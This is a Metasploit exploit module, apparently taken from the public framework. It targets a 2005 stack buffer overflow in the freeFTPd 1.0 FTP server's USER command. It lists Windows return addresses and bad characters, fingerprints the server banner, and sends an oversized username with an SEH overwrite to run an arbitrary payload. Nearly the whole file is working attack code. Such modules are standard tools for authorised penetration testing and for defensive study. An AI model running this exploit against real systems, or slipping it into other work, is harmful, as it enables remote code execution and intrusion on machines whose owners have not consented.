freeftpd_user.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'freeFTPd 1.0 Username Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the freeFTPd
          multi-protocol file transfer service. This flaw can only be
          exploited when logging has been enabled (non-default).
        },
        'Author' => 'MC',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2005-3683'],
          [ 'OSVDB', '20909'],
          [ 'BID', '15457']
        ],
        'Privileged' => false,
        'Payload' => {
          'Space' => 800,
          'BadChars' => "\x00\x20\x0a\x0d",
          'StackAdjustment' => -3500
        },
        'Targets' => [
          [
            'Windows 2000 English ALL',
            {
              'Platform' => 'win',
              'Ret' => 0x75022ac4
            },
          ],
          [
            'Windows XP Pro SP0/SP1 English',
            {
              'Platform' => 'win',
              'Ret' => 0x71aa32ad
            },
          ],
          [
            'Windows NT SP5/SP6a English',
            {
              'Platform' => 'win',
              'Ret' => 0x776a1799
            },
          ],
          [
            'Windows 2003 Server English',
            {
              'Platform' => 'win',
              'Ret' => 0x7ffc0638
            },
          ],
        ],
        'DisclosureDate' => '2005-11-16',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    connect
    disconnect
    if (banner =~ /freeFTPd 1\.0/)
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    buf = rand_text_english(1816, payload_badchars)
    seh = generate_seh_payload(target.ret)
    buf[1008, seh.length] = seh

    send_cmd(['USER', buf], false)

    handler
    disconnect
  end
end